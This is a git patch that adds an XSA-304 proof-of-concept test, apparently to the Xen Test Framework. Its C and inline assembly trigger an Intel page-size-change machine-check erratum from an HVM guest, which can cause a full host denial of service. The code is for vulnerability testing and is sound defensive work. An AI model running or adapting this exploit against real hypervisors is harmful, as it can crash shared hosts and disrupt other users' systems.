From bf1c4eb6cb52785cf539eb83752dfcecfe66c5d1 Mon Sep 17 00:00:00 2001 From: Andrew Cooper Date: Wed, 28 Nov 2018 18:27:02 +0000 Subject: [PATCH] XSA-304 PoC Signed-off-by: Andrew Cooper --- arch/x86/include/arch/lib.h | 5 ++ docs/all-tests.dox | 2 + tests/xsa-304/Makefile | 9 +++ tests/xsa-304/main.c | 139 ++++++++++++++++++++++++++++++++++++ 4 files changed, 155 insertions(+) create mode 100644 tests/xsa-304/Makefile create mode 100644 tests/xsa-304/main.c diff --git a/arch/x86/include/arch/lib.h b/arch/x86/include/arch/lib.h index 3b2b35b..0a9b23d 100644 --- a/arch/x86/include/arch/lib.h +++ b/arch/x86/include/arch/lib.h @@ -390,6 +390,11 @@ static inline void clflush(const void *ptr) asm volatile ("clflush %0" :: "m" (*(const char *)ptr)); } +static inline void flush_tlb(void) +{ + write_cr3(read_cr3()); +} + #endif /* XTF_X86_LIB_H */ /* diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 322f078..7282b36 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -148,6 +148,8 @@ XSA-293 - See @ref test-pv-fsgsbase. @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV emulation. +@subpage test-xsa-304 - x86: Machine Check Error on Page Size Change DoS. + @subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow. @subpage test-xsa-308 - VMX: VMentry failure with debug exceptions and blocked diff --git a/tests/xsa-304/Makefile b/tests/xsa-304/Makefile new file mode 100644 index 0000000..bb00d38 --- /dev/null +++ b/tests/xsa-304/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-304 +CATEGORY := xsa +TEST-ENVS := hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-304/main.c b/tests/xsa-304/main.c new file mode 100644 index 0000000..7f8be08 --- /dev/null +++ b/tests/xsa-304/main.c @@ -0,0 +1,139 @@ +/** + * @file tests/xsa-304/main.c + * @ref test-xsa-304 + * + * @page test-xsa-304 XSA-304 + * + * Advisory: [XSA-304](https://xenbits.xen.org/xsa/advisory-304.html) + * + * Intel's [guidance](https://www.intel.com/content/www/us/en/developer/articles/troubleshooting/software-security-guidance/advisory-guidance/machine-check-error-avoidance-page-size-change.html). + * + * An erratum exists on various generations of Intel processors, that can be + * tickled by an HVM guest kernel, resulting in a core lockup and full system + * denial of service. + * + * To mitigate, Xen ensures that no EPT superpages are executable, shattering + * to 4k mappings if execution is needed. This prevents >4k mappings from + * entering the iTLB, and blocks a precondition of the erratum. + * + * @see tests/xsa-304/main.c + */ +#include + +const char test_title[] = "XSA-304 PoC"; + +typedef void (stub_t)(intpte_t *l2t, const bool *cond); +extern stub_t stub_fn; + +asm (".align 4096;" + ".skip 4096 - (stub_page_boundary - stub_fn);" + + "stub_fn:" + + /* + * Overwrite the mapping for 16M linear (currently aliased to 0) as a 2M + * identity page. The underlying contents are the same because we + * duplicated .text here to start with. + */ + " movq $" STR((16 << 20) | PF_SYM(PSE, AD, RW, P)) ", 8*8(%rdi);" + + /* + * Shoot down the 4k mapping (in the high alias) of the *next* page, + * leaving the 4k mapping of this page intact. + */ + " invlpg stub_page_boundary + (16 << 20);" + + /* + * %rsi points at `bool cond = true` on the stack, so this jump won't + * actually be taken, but we want speculation to follow it. + */ + " cmpb $0, (%rsi);" + " je 1f;" + + /* + * Write into the top of linear address space. Because no A/D bits are + * set in the PTEs, this suffers 5 assists, and because the PTEs were + * flushed from the cache, it takes ages while doing so. + */ + " movb $0, -1;" + "stub_page_boundary:" + + /* + * When speculation races ahead to here, there is no mapping because we + * shot it out earlier. A pagewalk occurs, and finds the 2M superpage + * which we installed. + * + * As a consequence of installing the 2M mapping, the previous + * instruction (which is busy setting A/D bits) has a linear address with + * one valid 4k mapping pointing into the real .text location, and one + * valid 2M mapping pointing at the aliased .text location. + * + * ... and the pipeline is busy asserting sanity on tracking state of the + * uops each time they come around for another assist... + */ + "1: ret;" + ); + +/* New pagetables */ +static intpte_t nl3t[512] __page_aligned_bss; +static intpte_t nl2t[512] __page_aligned_bss; +static intpte_t nl1t[512] __page_aligned_bss; + +void test_main(void) +{ + unsigned long stride = ROUNDUP(_end - _start, MB(16)); + bool cond = true; + + if ( stride != MB(16) ) + return xtf_error("Unexpected stride %lu,%#lx\n", stride, stride); + + /* Create an alias of .text at stride's distance away. */ + memcpy(_p(_start) + stride, _start, _end - _start); + barrier(); + + stub_t *stub = _p(_u(stub_fn) + stride); + + /* + * This test is racy with a vCPU reschedule, interrupts etc. Retry a + * couple of times just in case. + */ + for ( int i = 0; i < 15; ++i ) + { + printk("Try: %u\n", i); + + /* + * Map GFN 0 at the top of linear address space, with no A/D bits, and + * flushing each PTE from the cache. + */ + pae_l4_identmap[511] = pte_from_virt(nl3t, PF_SYM(RW, P)); + clflush(&pae_l4_identmap[511]); + + nl3t[511] = pte_from_virt(nl2t, PF_SYM(RW, P)); + clflush(&nl3t[511]); + + nl2t[511] = pte_from_virt(nl1t, PF_SYM(RW, P)); + clflush(&nl2t[511]); + + nl1t[511] = pte_from_gfn(0, PF_SYM(RW, P)); + clflush(&nl1t[511]); + + /* Alias 16M linear to 0, using 0's 4k mappings. */ + l2_identmap[8] = l2_identmap[0]; + + flush_tlb(); + + stub(l2_identmap, &cond); + } + + xtf_success("Success: Probably not vulnerable to XSA-304\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */ -- 2.39.5